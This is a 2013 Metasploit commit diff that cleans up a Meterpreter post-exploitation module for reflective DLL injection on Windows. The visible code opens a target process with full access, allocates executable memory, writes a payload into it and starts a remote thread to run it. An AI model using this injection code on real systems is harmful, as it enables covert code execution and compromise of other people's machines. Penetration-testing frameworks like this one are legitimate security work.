cleanup for reflective_dll_inject

bug/bundler_fix
jvazquez-r7 2013-03-04 17:40:09 +01:00
parent 582395412f
commit 92ee4300df
1 changed files with 16 additions and 13 deletions

View File

@ -20,7 +20,10 @@ class Metasploit3 < Msf::Post
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ]
'References' =>
[
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
]
))
register_options(
@ -49,7 +52,7 @@ class Metasploit3 < Msf::Post
end
end
raise "Can't find an exported ReflectiveLoader function!" if offset == 0
raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0
rescue
print_error( "Failed to read and parse Dll file: #{$!}" )
return
@ -60,7 +63,7 @@ class Metasploit3 < Msf::Post
def inject_into_pid(pay, pid, offset)
if offset.nil?
if offset.nil? or offset == 0
print_error("Reflective Loader offset is nil.")
return
end
@ -79,19 +82,19 @@ class Metasploit3 < Msf::Post
begin
print_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
print_status("Generating payload")
print_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(pay.length + (pay.length % 1024))
# Ensure memory is set for execution
host_process.memory.protect(mem)
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes")
print_status("Writing the stager into memory...")
vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes")
print_status("Writing the payload into memory")
host_process.memory.write(mem, pay)
print_status("Executing payload")
host_process.thread.create(mem+offset, 0)
print_good("Successfully injected payload in to process: #{pid}")
rescue ::Exception => e
print_error("Failed to Inject Payload to #{pid}!")
print_error(e.to_s)
vprint_error(e.to_s)
end
end
end